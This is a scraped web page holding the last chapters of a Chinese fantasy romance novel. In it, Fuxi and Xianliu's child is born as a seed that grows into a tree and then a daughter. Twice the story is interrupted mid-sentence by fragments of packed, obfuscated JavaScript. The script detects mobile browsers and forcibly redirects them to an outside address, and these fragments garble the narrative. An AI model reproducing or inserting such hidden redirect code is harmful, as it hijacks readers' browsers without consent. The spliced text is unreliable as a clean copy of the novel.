RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801866|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 扶西敲了敲自己的脑袋,目光又触到献流那张安静的睡颜,脸颊上还有个自己留下的牙印,她鬼迷心窍,又侧过头去亲了一口。 扶西!你在干什么! 脑海中有个声音忽然响起,浑浑噩噩的扶西终于彻底清醒过来,她连忙抬手摇了摇献流。 “献流,献流,醒醒……” “……” “醒醒啊。” “……” 扶西脑袋轰的一下,完了完了,献流莫不是又昏过去了。 她一如上回从榻上弹起来,三下五除二穿好了衣裳,又连忙给献流也囫囵套了个外裳,掖好被角。 哐哐两下套了鞋子,扶西冲到镇山石前轻巧地跃起,整个人便极快地前进起来,如今镇山石顶,即扶西山顶在启明殿中,她是要像之前一样将献流放在石头上,还是去找药王,还是去找天君呢…… “山君?” 是觅影。 扶西像是碰到了救星,她吞了吞口水,挠着后脑勺上前,声若蚊呐:“你家神君,又,又被我锤昏过去了……” 觅影手中公文哗啦一声尽数落地,他呆愣了半晌,这才来得及龇牙咧嘴地冲着扶西发火:“山君,你,你这样,我要告诉天君去——” 扶西拉住他:“告诉天君可以,我们还是先去找药王吧!” 觅影按下心中愤怒,叫来药王,三人正欲从启明殿跃下扶西山时,竟好死不死遇到了天君。 无法,扶西只得如实相告,换来三人的眼刀以后,她恨不得将脑袋埋进云里,再也不抬头了。 “山君你真是,你明知神君会因此昏过去,你怎么还能,还能……”觅影絮絮叨叨,“我知道你们年轻,血气方刚忍不住,可总有别的办法,为何非要走到那一步呢?” “山君啊,神君可是天界战神,他若因此时不时就要昏睡一百年,六界异心人若是知道了,该如何是好?” “觅影。”天君出言制止,“够了。” 扶西垂着脑袋:“对不起,对不起,我发誓这是最后一次,我以后再也不会了。” 药王捋着花白胡子,看扶西的眼神里也多了些恨铁不成钢。 几人落地扶西山。 扶西拉住药王,急吼吼地就要往房中赶,不想却在老桑树下见到了献流。 他一身白衣立在树下,神色无碍,行动自如,一抬眼对药王天君的到来显然很是不解。 “师父,您怎么来了?” “这这这……”觅影指着献流,却说不出话。 天君:“如何,身体可有异样?” 献流摇了摇头,拱手道:“多谢师父挂怀,我身体无恙。” 扶西嘴唇微张,半晌挤不出一句话。 “扶西也是被吓了一跳,诸位看在她关心则乱的情况下,便不要再责怪了,我无事。” 扶西眼看着三人又乘云而去,整个人松了一大口气,她一把冲进献流怀中,嗓音都有些喑哑:“你吓死我了,我以为,以为你又要昏睡不醒了。” 献流就势揽住她,虽有些不大合手:“你急什么,我不过是累极了,多睡一会儿罢了,昨夜我既信誓旦旦,自不会骗你。” 扶西点点头,望向献流的面容,却见他原本健康的唇色霎时变得苍白,整个人的身体也不住颤抖起来。 “你这是怎么了?”扶西急得快哭出来了。 献流蹙着眉,忽而整个人脱了力往下倒去,身体与生俱来的反应叫他半跪着,单手撑住地面才没跌到地上。 “你怎么了?”扶西揽住他的肩。 胸膛热意翻涌。 “我好像,要生了……” 64. 喜得一女 扶西蹲下来,将献流揽得更紧,她神色焦急,一时间有些慌乱无措:“我,我去把药王找回来。” 献流却一把重重抓住她的手臂,声音沉闷,听上去很是痛苦,他偏头,眼尾都有些发红:“不,你不要走。”他力气又加重了几分,“别走……” 扶西连忙点头:“你放心,放心,我不走。”她一把拎起献流有些瘫软的手臂放到肩头,稍稍用力,将人打横抱了起来,连忙往屋里跑。 她将献流放到榻上,望着他愈发苍白的唇,心中焦急更甚,手掌中献流的指节还是那么用力,扶西望着他额头的冷汗,顿时红了眼眶。 “我让陆眠去找药王,你别急,我不走。”扶西用帕子为献流轻轻拭去额上的汗珠。 “扶西。”献流的视线几乎被汗水迷蒙,他望着扶西的脸,脑海里居然又出现了那些如梦的场景。 他枕在镇山石中,身侧是一株嫩绿的草芽,他觉得浑身都疼,只有靠近那草芽时才舒服一点。 心口的阵痛时时不停,他痛苦地蹙起眉头,颇有些不解,他征战四海,亦受过不少伤,刀弓剑戟,即便身体被捅穿一个窟窿,也不及现在痛苦的十分之一。 他能感受到,有什么东西正在悄然从他的心脏层层剥离。 神智已经昏沉,耳旁的词句已经破碎到听不分明,只有间断的语句。 “山君……上不去……” “镇山石……启明殿……快……” “献流,献流……” 他听到扶西在唤他,献流掀起重若千钧的眼皮,映入眼帘的不是那处简单的屋子,却是拦住天光的老桑树下。 阳光被树叶破碎,只留下些稀稀拉拉的残片,他抬起头,望着桑树伸展的枝叶。 恍惚间,他好像听到了一声悠远空灵的叹息,正是从头顶传来的。 “你终于回来了……” 献流只感觉自己仿佛从身体的痛苦中被抽离出来,此刻竟轻若浮尘,周身仿佛都被灌入温暖的水流。 “你说到昆仑求学,便一去不返。” 献流兀的反应过来,呼吸都更急促了,他感受着身体中的热意,还有那几乎和他心脏合二为一的扶西真身,整个人脑海中的山哗啦啦地坍塌。 原来那些都不是梦,是一些如地面零落天光的回忆碎片,他虽常常疑惑,却没怎么好好思虑过。 他记得师父说过,他出自堙灭千年的雪山神族。 “你的法术都是火系,怎么会是雪山神族的后羿呢?”老桑树仿佛能够看透他内心所想。 献流望着掌心,喃喃道:“是啊,是啊……” 那所谓的同心契,自然也是没有的,他真是! 还好如今已和扶西成婚,还有了孩子,对啊,他还在生孩子! “呃!”巨大的痛感袭来,献流闷哼出声,整个人立刻从轻飘飘的半空跌回现实之中,心口的疼痛愈发明显。 “神君此胎,有些怪异,寻常人应将孩儿怀在腹中,他的却在心口,奇哉,奇哉。” 是药王的声音。 “您快看看怎么办吧,快点将孩子取出来,献流疼不住了。” 献流虽觉疼痛,可除了额上的冷汗和逐渐苍白的唇,整个人表面上并没有什么不妥之处,乍一看,还以为他不过是受了点小伤。 扶西拉住他的手:“你别忍,疼不住了就喊出来吧。”扶西拿过旁边的枕头,“你咬枕头也行。” “不如诸位先行出去,待我施法。”药王道。 扶西抬头:“我能不能就在这里守着?” 献流平复呼吸,微微扬起唇角,在她手指上轻轻捏了捏:“无妨,你在外头等着,一会儿就好了。” 扶西望着他苍白的笑颜,很是犹豫。 “去吧。”献流催促道。 扶西跟着天君觅影等人出了房门,立在檐下不住踱步,时不时就扒到窗前想看看,可惜屋子四面都被下了咒法,看不见便罢了,听也听不见。 为何这样神秘。 于是她又走起来。 觅影也焦急,叹了口气提步上去加入了扶西踱步的路线,天君看得直皱眉,可她心中也焦急,于是也叹口气提脚跟在觅影后面。 三人在檐下来来回回走了快十圈,房门终于开了,不过出来的不是药王,也不是献流。 “砰——” 一道绿光好似箭矢,翻涌着冲破房门,又以极快的速度冲进扶西体内。 扶西愣了会儿,身体霎时如被春雨,真身带着涓涓仙流浸入扶西的五脏六腑,她舒服地喟叹一声,缓缓睁开了双眼。 随着绿光漫过,她这具牛高马大,身材劲爆的男人躯体也逐渐褪去,转而变作从前的模样。 她捏了捏自己的脸颊,不可置信的同时居然带了点错愕,约莫是习惯了那副身体。 对了! 她大步跑进房中,只见献流已经从榻上坐了起来,也恢复了男儿身。 他抬眼,朝着扶西微微一笑。 扶西立刻冲上去,将他紧紧抱了起来:“怎么样,肯定是累死了,坐起来干什么,快,快躺着。”她收回双手,立刻将献流按回去,熟门熟路地给他掖好被角。 半晌,她才想起来:“对了,孩子呢?” 药王捋着胡子,面露难色。 献流亦轻笑出声,变戏法似的从被窝里伸出手掌,缓缓展开,只见上头安安静静躺着颗黑乎乎的种子。 扶西用两个指头拈起来,细细望了一圈,果然与她有感应,是她的种子没错:“看来孩子随我,是根木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806712|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。”她笑意盈盈地望着献流,“我们给她起个名字吧。” “一时有些想不起来,不如我们再商议商议?” 扶西重重点头:“好呀。”她轻轻摸了摸这种子,“我先把孩子种下去,多久能化形就看她的造化了。” “还要化形?” “那是自然,红生当初化形就花了近五百年,把安阳老头心疼坏了,哈哈!” “山君,这真是你们的孩子?”药王虽见过不少奇奇怪怪的产子方式,疼痛半晌生下一颗种子的却是少见。 扶西重重点头,抬手施法,这种子便飘到院心,缓缓落地,又在落地的一瞬间没入泥土之中,生根发芽抽条,快得迷了眼睛。 霎时间,院心即刻多了一棵苍天大树,枝繁叶茂,树干亦十分粗壮,她抖着枝条,仿佛很是满意现下的温度和阳光。 觅影抚掌:“好神奇。” 天君眨了眨眼:“倒是有趣。” 她这些徒弟,奇遇还真是不少呢。 扶西也有些惊讶,居然这么快,想必这孩子化作人形也就几十年的光阴吧。 献流从榻上起身,来到门外,和扶西一齐送天君三人归天,望着他们远去的背影,扶西歪了歪脑袋,靠在献流胸膛上。 两人目光落在院心的孩儿身上,又慢慢对视在一处。 献流道:“我回来了。”他冰魄般的眸子里闪着阳光一般,温暖和煦。 扶西下意识望向他的胸膛,一瞬间天旋地转,仿佛又回到蜷缩在镇山石里的过去,草芽轻轻一动,就能碰到献流柔软的皮肤。 “你真的,等了我一百年,一千年,一万年……”他长睫微微抖动,宽阔的手掌慢慢抬到扶西的颊边。 扶西忽然觉得胸腔中热意满满,她抬眼望着献流,唇角轻轻扬起:“你未免也把我说得太好听了,发芽时候的事,谁记得啊?” 献流抓住她手指:“我不在意你记不记得,我记得就好。”言罢他低下头,阖上了眼睛。 扶西也轻轻闭上眼睛,仰起头来。 谁想,原本被遮挡的阳光瞬时尽数倾泻而下,扶西被刺得有些难受,缓缓睁开了眼睛。 献流的唇近在咫尺,他似乎也感受了刺眼的天光,一时有些迟疑。 “爹爹!娘亲,你们在做什么啊?”一个清脆的童声给了两人重重一击。 扶西侧过头,望着阶下那个穿着层叠交错的浅绿衣衫的女娃娃,粉雕玉琢,好不可爱。 扶西:“她叫我什么?” 献流:“娘亲。” 献流:“她叫我呢?” 扶西:“爹爹?!” 扶西和献流对视在一处,无一不是瞳仁颤抖。 不是吧,这么快! ——全文完